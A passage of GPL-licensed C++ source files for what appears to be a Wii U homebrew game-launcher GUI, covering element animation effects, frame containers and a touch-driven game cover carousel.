EFFECT_SLIDE_BOTTOM) { yoffsetDyn -= effectAmount; if(yoffsetDyn <= 0) { yoffsetDyn = 0; effects = 0; effectFinished(this); } } } else { if(effects & EFFECT_SLIDE_LEFT) { xoffsetDyn -= effectAmount; if(xoffsetDyn <= -screenwidth) { effects = 0; // shut off effect effectFinished(this); } else if((effects & EFFECT_SLIDE_FROM) && xoffsetDyn <= -getWidth()) { effects = 0; // shut off effect effectFinished(this); } } else if(effects & EFFECT_SLIDE_RIGHT) { xoffsetDyn += effectAmount; if(xoffsetDyn >= screenwidth) { effects = 0; // shut off effect effectFinished(this); } else if((effects & EFFECT_SLIDE_FROM) && xoffsetDyn >= getWidth()*scaleX) { effects = 0; // shut off effect effectFinished(this); } } else if(effects & EFFECT_SLIDE_TOP) { yoffsetDyn -= effectAmount; if(yoffsetDyn <= -screenheight) { effects = 0; // shut off effect effectFinished(this); } else if((effects & EFFECT_SLIDE_FROM) && yoffsetDyn <= -getHeight()) { effects = 0; // shut off effect effectFinished(this); } } else if(effects & EFFECT_SLIDE_BOTTOM) { yoffsetDyn += effectAmount; if(yoffsetDyn >= screenheight) { effects = 0; // shut off effect effectFinished(this); } else if((effects & EFFECT_SLIDE_FROM) && yoffsetDyn >= getHeight()) { effects = 0; // shut off effect effectFinished(this); } } } } else if(effects & EFFECT_FADE) { alphaDyn += effectAmount * (1.0f / 255.0f); if(effectAmount < 0 && alphaDyn <= 0) { alphaDyn = 0; effects = 0; // shut off effect effectFinished(this); } else if(effectAmount > 0 && alphaDyn >= alpha) { alphaDyn = alpha; effects = 0; // shut off effect effectFinished(this); } } else if(effects & EFFECT_SCALE) { scaleDyn += effectAmount * 0.01f; if((effectAmount < 0 && scaleDyn <= (effectTarget * 0.01f)) || (effectAmount > 0 && scaleDyn >= (effectTarget * 0.01f))) { scaleDyn = effectTarget * 0.01f; effects = 0; // shut off effect effectFinished(this); } } } ================================================ FILE: src/gui/GuiElement.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_ELEMENT_H_ #define GUI_ELEMENT_H_ #include #include #include #include #include #include #include #include #include #include #include "sigslot.h" #include "glm/glm.hpp" #include "glm/gtc/matrix_transform.hpp" #include "dynamic_libs/gx2_types.h" #include "resources/Resources.h" #include "system/AsyncDeleter.h" #include "language/gettext.h" #include "utils/logger.h" enum { EFFECT_NONE = 0x00, EFFECT_SLIDE_TOP = 0x01, EFFECT_SLIDE_BOTTOM = 0x02, EFFECT_SLIDE_RIGHT = 0x04, EFFECT_SLIDE_LEFT = 0x08, EFFECT_SLIDE_IN = 0x10, EFFECT_SLIDE_OUT = 0x20, EFFECT_SLIDE_FROM = 0x40, EFFECT_FADE = 0x80, EFFECT_SCALE = 0x100, EFFECT_COLOR_TRANSITION = 0x200 }; enum { ALIGN_LEFT = 0x01, ALIGN_CENTER = 0x02, ALIGN_RIGHT = 0x04, ALIGN_TOP = 0x10, ALIGN_MIDDLE = 0x20, ALIGN_BOTTOM = 0x40, ALIGN_TOP_LEFT = ALIGN_LEFT | ALIGN_TOP, ALIGN_TOP_CENTER = ALIGN_CENTER | ALIGN_TOP, ALIGN_TOP_RIGHT = ALIGN_RIGHT | ALIGN_TOP, ALIGN_CENTERED = ALIGN_CENTER | ALIGN_MIDDLE, }; //!Forward declaration class GuiController; class CVideo; //!Primary GUI class. Most other classes inherit from this class. class GuiElement : public AsyncDeleter::Element { public: //!Constructor GuiElement(); //!Destructor virtual ~GuiElement() {} //!Set the element's parent //!\param e Pointer to parent element virtual void setParent(GuiElement * e) { parentElement = e; } //!Gets the element's parent //!\return Pointer to parent element virtual GuiElement * getParent() { return parentElement; } //!Gets the current leftmost coordinate of the element //!Considers horizontal alignment, x offset, width, and parent element's GetLeft() / GetWidth() values //!\return left coordinate virtual f32 getLeft(); //!Gets the current topmost coordinate of the element //!Considers vertical alignment, y offset, height, and parent element's GetTop() / GetHeight() values //!\return top coordinate virtual f32 getTop(); //!Gets the current Z coordinate of the element //!\return Z coordinate virtual f32 getDepth() { f32 zParent = 0.0f; if(parentElement) zParent = parentElement->getDepth(); return zParent+zoffset; } virtual f32 getCenterX(void) { f32 pCenterX = 0.0f; if(parentElement) pCenterX = parentElement->getCenterX(); pCenterX += xoffset + xoffsetDyn; if(alignment & ALIGN_LEFT) { f32 pWidth = 0.0f; f32 pScale = 0.0f; if(parentElement) { pWidth = parentElement->getWidth(); pScale = parentElement->getScaleX(); } pCenterX -= pWidth * 0.5f * pScale - width * 0.5f * getScaleX(); } else if(alignment & ALIGN_RIGHT) { f32 pWidth = 0.0f; f32 pScale = 0.0f; if(parentElement) { pWidth = parentElement->getWidth(); pScale = parentElement->getScaleX(); } pCenterX += pWidth * 0.5f * pScale - width * 0.5f * getScaleX(); } return pCenterX; } virtual f32 getCenterY(void) { f32 pCenterY = 0.0f; if(parentElement) pCenterY = parentElement->getCenterY(); pCenterY += yoffset + yoffsetDyn; if(alignment & ALIGN_TOP) { f32 pHeight = 0.0f; f32 pScale = 0.0f; if(parentElement) { pHeight = parentElement->getHeight(); pScale = parentElement->getScaleY(); } pCenterY += pHeight * 0.5f * pScale - getHeight() * 0.5f * getScaleY(); } else if(alignment & ALIGN_BOTTOM) { f32 pHeight = 0.0f; f32 pScale = 0.0f; if(parentElement) { pHeight = parentElement->getHeight(); pScale = parentElement->getScaleY(); } pCenterY -= pHeight * 0.5f * pScale - getHeight() * 0.5f * getScaleY(); } return pCenterY; } //!Gets elements xoffset virtual f32 getOffsetX() { return xoffset; } //!Gets elements yoffset virtual f32 getOffsetY() { return yoffset; } //!Gets the current width of the element. Does not currently consider the scale //!\return width virtual f32 getWidth() { return width; }; //!Gets the height of the element. Does not currently consider the scale //!\return height virtual f32 getHeight() { return height; } //!Sets the size (width/height) of the element //!\param w Width of element //!\param h Height of element virtual void setSize(f32 w, f32 h) { width = w; height = h; } //!Sets the element's visibility //!\param v Visibility (true = visible) virtual void setVisible(bool v) { visible = v; visibleChanged(this, v); } //!Checks whether or not the element is visible //!\return true if visible, false otherwise virtual bool isVisible() const { return !isStateSet(STATE_HIDDEN) && visible; }; //!Checks whether or not the element is selectable //!\return true if selectable, false otherwise virtual bool isSelectable() { return !isStateSet(STATE_DISABLED) && selectable; } virtual bool isDrawOverOnlyWhenSelected() { return drawOverOnlyWhenSelected; } virtual void setdrawOverOnlyWhenSelected(bool s) { drawOverOnlyWhenSelected = s; } //!Checks whether or not the element is clickable //!\return true if clickable, false otherwise virtual bool isClickable() { return !isStateSet(STATE_DISABLED) && clickable; } //!Checks whether or not the element is holdable //!\return true if holdable, false otherwise virtual bool isHoldable() { return !isStateSet(STATE_DISABLED) && holdable; } //!Sets whether or not the element is selectable //!\param s Selectable virtual void setSelectable(bool s) { selectable = s; } //!Sets whether or not the element is clickable //!\param c Clickable virtual void setClickable(bool c) { clickable = c; } //!Sets whether or not the element is holdable //!\param c Holdable virtual void setHoldable(bool d) { holdable = d; } //!Sets the element's state //!\param s State (STATE_DEFAULT, STATE_SELECTED, STATE_CLICKED, STATE_DISABLED) //!\param c Controller channel (0-3, -1 = none) virtual void setState(s32 s, s32 c = -1) { if(c >= 0 && c < 4) { state[c] |= s; } else { for(s32 i = 0; i < 4; i++) state[i] |= s; } stateChan = c; stateChanged(this, s, c); } virtual void clearState(s32 s, s32 c = -1) { if(c >= 0 && c < 4) { state[c] &= ~s; } else { for(s32 i = 0; i < 4; i++) state[i] &= ~s; } stateChan = c; stateChanged(this, s, c); } virtual bool isStateSet(s32 s, s32 c = -1) const { if(c >= 0 && c < 4) { return (state[c] & s) != 0; } else { for(s32 i = 0; i < 4; i++) if((state[i] & s) != 0) return true; return false; } } //!Gets the element's current state //!\return state virtual s32 getState(s32 c = 0) { return state[c]; }; //!Gets the controller channel that last changed the element's state //!\return Channel number (0-3, -1 = no channel) virtual s32 getStateChan() { return stateChan; }; //!Resets the element's state to STATE_DEFAULT virtual void resetState() { for(s32 i = 0; i < 4; i++) state[i] = STATE_DEFAULT; stateChan = -1; } //!Sets the element's alpha value //!\param a alpha value virtual void setAlpha(f32 a) { alpha = a; } //!Gets the element's alpha value //!Considers alpha, alphaDyn, and the parent element's getAlpha() value //!\return alpha virtual f32 getAlpha() { f32 a; if(alphaDyn >= 0) a = alphaDyn; else a = alpha; if(parentElement) a = (a * parentElement->getAlpha()); return a; } //!Sets the element's scale //!\param s scale (1 is 100%) virtual void setScale(float s) { scaleX = s; scaleY = s; scaleZ = s; } //!Sets the element's scale //!\param s scale (1 is 100%) virtual void setScaleX(float s) { scaleX = s; } //!Sets the element's scale //!\param s scale (1 is 100%) virtual void setScaleY(float s) { scaleY = s; } //!Sets the element's scale //!\param s scale (1 is 100%) virtual void setScaleZ(float s) { scaleZ = s; } //!Gets the element's current scale //!Considers scale, scaleDyn, and the parent element's getScale() value virtual float getScale() { float s = 0.5f * (scaleX+scaleY) * scaleDyn; if(parentElement) s *= parentElement->getScale(); return s; } //!Gets the element's current scale //!Considers scale, scaleDyn, and the parent element's getScale() value virtual float getScaleX() { float s = scaleX * scaleDyn; if(parentElement) s *= parentElement->getScaleX(); return s; } //!Gets the element's current scale //!Considers scale, scaleDyn, and the parent element's getScale() value virtual float getScaleY() { float s = scaleY * scaleDyn; if(parentElement) s *= parentElement->getScaleY(); return s; } //!Gets the element's current scale //!Considers scale, scaleDyn, and the parent element's getScale() value virtual float getScaleZ() { float s = scaleZ; if(parentElement) s *= parentElement->getScaleZ(); return s; } //!Checks whether rumble was requested by the element //!\return true is rumble was requested, false otherwise virtual bool isRumbleActive() { return rumble; } //!Sets whether or not the element is requesting a rumble event //!\param r true if requesting rumble, false if not virtual void setRumble(bool r) { rumble = r; } //!Set an effect for the element //!\param e Effect to enable //!\param a Amount of the effect (usage varies on effect) //!\param t Target amount of the effect (usage varies on effect) virtual void setEffect(s32 e, s32 a, s32 t=0); //!Sets an effect to be enabled on wiimote cursor over //!\param e Effect to enable //!\param a Amount of the effect (usage varies on effect) //!\param t Target amount of the effect (usage varies on effect) virtual void setEffectOnOver(s32 e, s32 a, s32 t=0); //!Shortcut to SetEffectOnOver(EFFECT_SCALE, 4, 110) virtual void setEffectGrow() { setEffectOnOver(EFFECT_SCALE, 4, 110); } //!Reset all applied effects virtual void resetEffects(); //!Gets the current element effects //!\return element effects virtual s32 getEffect() const { return effects; } //!\return true if element animation is on going virtual bool isAnimated() const { return (parentElement != 0) && (getEffect() > 0); } //!Checks whether the specified coordinates are within the element's boundaries //!\param x X coordinate //!\param y Y coordinate //!\return true if contained within, false otherwise virtual bool isInside(f32 x, f32 y) { return ( x > (this->getCenterX() - getScaleX() * getWidth() * 0.5f) && x < (this->getCenterX() + getScaleX() * getWidth() * 0.5f) && y > (this->getCenterY() - getScaleY() * getHeight() * 0.5f) && y < (this->getCenterY() + getScaleY() * getHeight() * 0.5f)); } //!Sets the element's position //!\param x X coordinate //!\param y Y coordinate virtual void setPosition(f32 x, f32 y) { xoffset = x; yoffset = y; } //!Sets the element's position //!\param x X coordinate //!\param y Y coordinate //!\param z Z coordinate virtual void setPosition(f32 x, f32 y, f32 z) { xoffset = x; yoffset = y; zoffset = z; } //!Gets whether or not the element is in STATE_SELECTED //!\return true if selected, false otherwise virtual s32 getSelected() { return -1; } //!Sets the element's alignment respective to its parent element //!Bitwise ALIGN_LEFT | ALIGN_RIGHT | ALIGN_CENTRE, ALIGN_TOP, ALIGN_BOTTOM, ALIGN_MIDDLE) //!\param align Alignment virtual void setAlignment(s32 a) { alignment = a; } //!Gets the element's alignment virtual s32 getAlignment() const { return alignment; } //!Angle of the object virtual void setAngle(f32 a) { angle = a; } //!Angle of the object virtual f32 getAngle() const { f32 r_angle = angle; if(parentElement) r_angle += parentElement->getAngle(); return r_angle; } //!Called constantly to allow the element to respond to the current input data //!\param t Pointer to a GuiController, containing the current input data from PAD/WPAD/VPAD virtual void update(GuiController * t) { } //!Called constantly to redraw the element virtual void draw(CVideo * v) { } //!Called constantly to process stuff in the element virtual void process() { } //!Updates the element's effects (dynamic values) //!Called by Draw(), used for animation purposes virtual void updateEffects(); typedef struct _POINT { s32 x; s32 y; } POINT; enum { STATE_DEFAULT = 0, STATE_SELECTED = 0x01, STATE_CLICKED = 0x02, STATE_HELD = 0x04, STATE_OVER = 0x08, STATE_HIDDEN = 0x10, STATE_DISABLE_INPUT = 0x20, STATE_CLICKED_TOUCH = 0x40, STATE_DISABLED = 0x80 }; //! Switch pointer from control to screen position POINT PtrToScreen(POINT p) { //! TODO for 3D //POINT r = { p.x + getLeft(), p.y + getTop() }; return p; } //! Switch pointer screen to control position POINT PtrToControl(POINT p) { //! TODO for 3D //POINT r = { p.x - getLeft(), p.y - getTop() }; return p; } //! Signals sigslot::signal2 visibleChanged; sigslot::signal3 stateChanged; sigslot::signal1 effectFinished; protected: bool rumble; //!< Wiimote rumble (on/off) - set to on when this element requests a rumble event bool visible; //!< Visibility of the element. If false, Draw() is skipped bool selectable; //!< Whether or not this element selectable (can change to SELECTED state) bool clickable; //!< Whether or not this element is clickable (can change to CLICKED state) bool holdable; //!< Whether or not this element is holdable (can change to HELD state) bool drawOverOnlyWhenSelected; //!< Whether or not this element is holdable (can change to HELD state) f32 width; //!< Element width f32 height; //!< Element height f32 xoffset; //!< Element X offset f32 yoffset; //!< Element Y offset f32 zoffset; //!< Element Z offset f32 alpha; //!< Element alpha value (0-255) f32 angle; //!< Angle of the object (0-360) f32 scaleX; //!< Element scale (1 = 100%) f32 scaleY; //!< Element scale (1 = 100%) f32 scaleZ; //!< Element scale (1 = 100%) s32 alignment; //!< Horizontal element alignment, respective to parent element s32 state[4]; //!< Element state (DEFAULT, SELECTED, CLICKED, DISABLED) s32 stateChan; //!< Which controller channel is responsible for the last change in state GuiElement * parentElement; //!< Parent element //! TODO: Move me to some Animator class s32 xoffsetDyn; //!< Element X offset, dynamic (added to xoffset value for animation effects) s32 yoffsetDyn; //!< Element Y offset, dynamic (added to yoffset value for animation effects) f32 alphaDyn; //!< Element alpha, dynamic (multiplied by alpha value for blending/fading effects) f32 scaleDyn; //!< Element scale, dynamic (multiplied by alpha value for blending/fading effects) s32 effects; //!< Currently enabled effect(s). 0 when no effects are enabled s32 effectAmount; //!< Effect amount. Used by different effects for different purposes s32 effectTarget; //!< Effect target amount. Used by different effects for different purposes s32 effectsOver; //!< Effects to enable when wiimote cursor is over this element. Copied to effects variable on over event s32 effectAmountOver; //!< EffectAmount to set when wiimote cursor is over this element s32 effectTargetOver; //!< EffectTarget to set when wiimote cursor is over this element }; #endif ================================================ FILE: src/gui/GuiFrame.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "GuiFrame.h" GuiFrame::GuiFrame(GuiFrame *p) { parent = p; width = 0; height = 0; dim = false; if(parent) parent->append(this); } GuiFrame::GuiFrame(f32 w, f32 h, GuiFrame *p) { parent = p; width = w; height = h; dim = false; if(parent) parent->append(this); } GuiFrame::~GuiFrame() { closing(this); if(parent) parent->remove(this); } void GuiFrame::append(GuiElement* e) { if (e == NULL) return; remove(e); elements.push_back(e); e->setParent(this); } void GuiFrame::insert(GuiElement* e, u32 index) { if (e == NULL || (index >= elements.size())) return; remove(e); elements.insert(elements.begin()+index, e); e->setParent(this); } void GuiFrame::remove(GuiElement* e) { if (e == NULL) return; for (u32 i = 0; i < elements.size(); ++i) { if(e == elements[i]) { elements.erase(elements.begin()+i); break; } } } void GuiFrame::removeAll() { elements.clear(); } void GuiFrame::close() { //Application::instance()->pushForDelete(this); } void GuiFrame::dimBackground(bool d) { dim = d; } GuiElement* GuiFrame::getGuiElementAt(u32 index) const { if (index >= elements.size()) return NULL; return elements[index]; } u32 GuiFrame::getSize() { return elements.size(); } void GuiFrame::resetState() { GuiElement::resetState(); for (u32 i = 0; i < elements.size(); ++i) { elements[i]->resetState(); } } void GuiFrame::setState(s32 s, s32 c) { GuiElement::setState(s, c); for (u32 i = 0; i < elements.size(); ++i) { elements[i]->setState(s, c); } } void GuiFrame::clearState(s32 s, s32 c) { GuiElement::clearState(s, c); for (u32 i = 0; i < elements.size(); ++i) { elements[i]->clearState(s, c); } } void GuiFrame::setVisible(bool v) { visible = v; for (u32 i = 0; i < elements.size(); ++i) { elements[i]->setVisible(v); } } s32 GuiFrame::getSelected() { // find selected element s32 found = -1; for (u32 i = 0; i < elements.size(); ++i) { if(elements[i]->isStateSet(STATE_SELECTED | STATE_OVER)) { found = i; break; } } return found; } void GuiFrame::draw(CVideo * v) { if(!this->isVisible() && parentElement) return; if(parentElement && dim == true) { //GXColor dimColor = (GXColor){0, 0, 0, 0x70}; //Menu_DrawRectangle(0, 0, GetZPosition(), screenwidth,screenheight, &dimColor, false, true); } //! render appended items next frame but allow stop of render if size is reached u32 size = elements.size(); for (u32 i = 0; i < size && i < elements.size(); ++i) { elements[i]->draw(v); } } void GuiFrame::updateEffects() { if(!this->isVisible() && parentElement) return; GuiElement::updateEffects(); //! render appended items next frame but allow stop of render if size is reached u32 size = elements.size(); for (u32 i = 0; i < size && i < elements.size(); ++i) { elements[i]->updateEffects(); } } void GuiFrame::process() { if(!this->isVisible() && parentElement) return; GuiElement::process(); //! render appended items next frame but allow stop of render if size is reached u32 size = elements.size(); for (u32 i = 0; i < size && i < elements.size(); ++i) { elements[i]->process(); } } void GuiFrame::update(GuiController * c) { if(isStateSet(STATE_DISABLED) && parentElement) return; //! update appended items next frame u32 size = elements.size(); for (u32 i = 0; i < size && i < elements.size(); ++i) { elements[i]->update(c); } } ================================================ FILE: src/gui/GuiFrame.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUI_FRAME_H_ #define GUI_FRAME_H_ #include #include "GuiElement.h" #include "sigslot.h" //!Allows GuiElements to be grouped together into a "window" class GuiFrame : public GuiElement { public: //!Constructor GuiFrame(GuiFrame *parent = 0); //!\overload //!\param w Width of window //!\param h Height of window GuiFrame(f32 w, f32 h, GuiFrame *parent = 0); //!Destructor virtual ~GuiFrame(); //!Appends a GuiElement to the GuiFrame //!\param e The GuiElement to append. If it is already in the GuiFrame, it is removed first void append(GuiElement* e); //!Inserts a GuiElement into the GuiFrame at the specified index //!\param e The GuiElement to insert. If it is already in the GuiFrame, it is removed first //!\param i Index in which to insert the element void insert(GuiElement* e, u32 i); //!Removes the specified GuiElement from the GuiFrame //!\param e GuiElement to be removed void remove(GuiElement* e); //!Removes all GuiElements void removeAll(); //!Bring element to front of the window void bringToFront(GuiElement *e) { remove(e); append(e); } //!Returns the GuiElement at the specified index //!\param index The index of the element //!\return A pointer to the element at the index, NULL on error (eg: out of bounds) GuiElement* getGuiElementAt(u32 index) const; //!Returns the size of the list of elements //!\return The size of the current element list u32 getSize(); //!Sets the visibility of the window //!\param v visibility (true = visible) void setVisible(bool v); //!Resets the window's state to STATE_DEFAULT void resetState(); //!Sets the window's state //!\param s State void setState(s32 s, s32 c = -1); void clearState(s32 s, s32 c = -1); //!Gets the index of the GuiElement inside the window that is currently selected //!\return index of selected GuiElement s32 getSelected(); //!Dim the Window's background void dimBackground(bool d); //!Draws all the elements in this GuiFrame void draw(CVideo * v); //!Updates the window and all elements contains within //!Allows the GuiFrame and all elements to respond to the input data specified //!\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD void update(GuiController * t); //!virtual Close Window - this will put the object on the delete queue in MainWindow virtual void close(); //!virtual show window function virtual void show() {} //!virtual hide window function virtual void hide() {} //!virtual enter main loop function (blocking) virtual void exec() {} //!virtual updateEffects which is called by the main loop virtual void updateEffects(); //!virtual process which is called by the main loop virtual void process(); //! Signals //! On Closing sigslot::signal1 closing; protected: bool dim; //! Enable/disable dim of a window only GuiFrame *parent; //!< Parent Window std::vector elements; //!< Contains all elements within the GuiFrame }; #endif ================================================ FILE: src/gui/GuiGameBrowser.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef GUIGAMEBROWSER_H_ #define GUIGAMEBROWSER_H_ #include "Gui.h" #include "sigslot.h" class GuiGameBrowser : public GuiFrame { public: GuiGameBrowser(int w, int h, int GameIndex) : GuiFrame(w, h) {} virtual ~GuiGameBrowser() {} virtual void setSelectedGame(int idx) = 0; virtual int getSelectedGame(void) = 0; sigslot::signal2 gameLaunchClicked; sigslot::signal2 gameSelectionChanged; }; #endif /* GUIGAMEBROWSER_H_ */ ================================================ FILE: src/gui/GuiGameCarousel.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include #include #include #include "settings/CSettings.h" #include "GuiGameCarousel.h" #include "GuiImageAsync.h" #include "common/common.h" #include "game/GameList.h" #include "resources/Resources.h" #include "utils/utils.h" #define DEG_OFFSET 8.0f #define COVERS_CENTER_DEG (bPageSizeEven ? (pagesize * 0.5f * DEG_OFFSET) : (pagesize * 0.5f * DEG_OFFSET - 0.5f * DEG_OFFSET)) #define RADIUS 1000.0f #define IN_SPEED 175 #define SHIFT_SPEED 75 #define SPEED_STEP 4 #define SPEED_LIMIT 250 #define MAX_PAGE_SIZE 14 /** * Constructor for the GuiGameCarousel class. */ GuiGameCarousel::GuiGameCarousel(int w, int h, int GameIndex) : GuiGameBrowser(w, h, GameIndex) , buttonClickSound(Resources::GetSound("button_click.mp3")) , noCover(Resources::GetFile("noCover.png"), Resources::GetFileSize("noCover.png")) , gameTitle((char*)NULL, 52, glm::vec4(1.0f)) , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true) , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L, true) , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R, true) , buttonLeftTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_LEFT | GuiTrigger::STICK_L_LEFT, true) , buttonRightTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_RIGHT | GuiTrigger::STICK_L_RIGHT, true) , touchButton(w, h) , DPADButtons(w, h) , particleBgImage(w, h, 100) , bgUsedImageDataAsync(NULL) , bgNewImageDataAsync(NULL) , bgFadingImageDataAsync(NULL) { pagesize = (GameList::instance()->size() < MAX_PAGE_SIZE) ? GameList::instance()->size() : MAX_PAGE_SIZE; bFullCircleMode = (GameList::instance()->size() > MAX_PAGE_SIZE); refreshDrawMap = true; selectable = true; selectedGame = GameIndex; listOffset = selectedGame; selectedGameOnDragStart = 0; forceRotateDirection = 0; bWasDragging = false; bAnimating = false; bPageSizeEven = ((pagesize >> 1) << 1) == pagesize; rotateDirection = 0; lastTouchDifference = 0; gameLaunchTimer = 0; touchClickDelay = 0; circleRotationSpeed = 0.0f; circleSpeedMin = 0.3f; circleSpeedMax = 1.8f; startRotationDistance = 0.0f; circleCenterDegree = 90.0f; circleStartDegree = circleCenterDegree + COVERS_CENTER_DEG; destDegree = bFullCircleMode ? circleStartDegree : (circleCenterDegree + listOffset * DEG_OFFSET); currDegree = 0.0f; this->append(&particleBgImage); game.resize(pagesize); drawOrder.resize(pagesize); coverImg.resize(GameList::instance()->size()); touchButton.setAlignment(ALIGN_LEFT | ALIGN_TOP); touchButton.setTrigger(&touchTrigger); touchButton.setTrigger(&wpadTouchTrigger); touchButton.setClickable(true); touchButton.setHoldable(true); touchButton.clicked.connect(this, &GuiGameCarousel::OnTouchClick); touchButton.held.connect(this, &GuiGameCarousel::OnTouchHold); touchButton.released.connect(this, &GuiGameCarousel::OnTouchRelease); this->append(&touchButton); DPADButtons.setTrigger(&buttonATrigger); DPADButtons.setTrigger(&buttonLTrigger); DPADButtons.setTrigger(&buttonRTrigger); DPADButtons.setTrigger(&buttonLeftTrigger); DPADButtons.setTrigger(&buttonRightTrigger); DPADButtons.clicked.connect(this, &GuiGameCarousel::OnDPADClick); append(&DPADButtons); gameTitle.setPosition(0, -320); gameTitle.setBlurGlowColor(5.0f, glm::vec4(0.109804, 0.6549, 1.0f, 1.0f)); gameTitle.setMaxWidth(900, GuiText::DOTTED); append(&gameTitle); refresh(); } /** * Destructor for the GuiGameCarousel class. */ GuiGameCarousel::~GuiGameCarousel() { AsyncDeleter::pushForDelete(bgFadingImageDataAsync); AsyncDeleter::pushForDelete(bgUsedImageDataAsync); AsyncDeleter::pushForDelete(bgNewImageDataAsync); for (u32 i = 0; i < coverImg.size(); ++i) delete coverImg[i]; for (u32 i = 0; i < game.size(); ++i) delete game[i]; Resources::RemoveSound(buttonClickSound); } void GuiGameCarousel::setSelectedGame(int idx) { if(pagesize == 0) return; if(idx < 0) idx = 0; if(idx >= GameList::instance()->size()) idx = GameList::instance()->size()-1; selectedGame = idx; loadBgImage(idx); touchClickDelay = 20; circleSpeedMax = 1.8f; refreshDrawMap = true; } int GuiGameCarousel::getSelectedGame() { return selectedGame; } void GuiGameCarousel::refresh() { // since we got more than enough memory we can pre-cache all covers // once there are more than 1000 games for the WiiU we can do a load on demand for (int i = 0; i < GameList::instance()->size(); i++) { //------------------------ // Image //------------------------ delete coverImg[i]; std::string filepath = CSettings::getValueAsString(CSettings::GameCover3DPath) + "/" + GameList::instance()->at(i)->id + ".png"; coverImg[i] = new GuiImageAsync(filepath, &noCover); } for (int i = 0; i < pagesize; i++) { //------------------------ // Index //------------------------ int gameIndex = getGameIndex(listOffset, i); //------------------------ // GameButton //------------------------ delete game[i]; game[i] = new GuiButton(coverImg[gameIndex]->getWidth(), coverImg[gameIndex]->getHeight()); game[i]->setAlignment(ALIGN_CENTER | ALIGN_MIDDLE); game[i]->setImage(coverImg[gameIndex]); game[i]->setParent(this); game[i]->setTrigger(&touchTrigger); game[i]->setTrigger(&wpadTouchTrigger); game[i]->setSoundClick(buttonClickSound); game[i]->setEffectGrow(); game[i]->clicked.connect(this, &GuiGameCarousel::OnGameButtonClick); drawOrder[i] = i; } setSelectedGame(selectedGame); } void GuiGameCarousel::OnGameButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { for(u32 i = 0; i < game.size(); i++) { if(button == game[i]) { int gameIndex = getGameIndex(listOffset, i); if(selectedGame == (int)gameIndex) { if(gameLaunchTimer < 30) OnLaunchClick(button, controller, trigger); gameLaunchTimer = 0; } setSelectedGame(gameIndex); gameSelectionChanged(this, gameIndex); break; } } } void GuiGameCarousel::OnTouchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if((pagesize == 0) || !controller->data.validPointer) return; bWasDragging = false; selectedGameOnDragStart = getGameIndex(listOffset, drawOrder[ drawOrder.size() - 1 ]); lastPosition.x = controller->data.x; lastPosition.y = controller->data.y; } void GuiGameCarousel::OnTouchHold(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(touchClickDelay || (pagesize == 0) || !controller->data.validPointer) { bWasDragging = false; return; } lastTouchDifference = (controller->data.x - lastPosition.x); f32 degreeAdd = lastTouchDifference * 0.096f; if(fabs(degreeAdd) < 0.5f) return; currDegree -= degreeAdd; if(!bFullCircleMode) { f32 leftLimit = (circleStartDegree - COVERS_CENTER_DEG); f32 rightLimit = (circleStartDegree + COVERS_CENTER_DEG) - (bPageSizeEven ? DEG_OFFSET : 0.0f); // TODO: find out why the 2nd part is required if(currDegree < leftLimit) { currDegree = leftLimit; } else if(currDegree > rightLimit) { currDegree = rightLimit; } } destDegree = currDegree; lastPosition.x = controller->data.x; lastPosition.y = controller->data.y; refreshDrawMap = true; bWasDragging = true; } void GuiGameCarousel::OnTouchRelease(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(touchClickDelay || (pagesize == 0) || 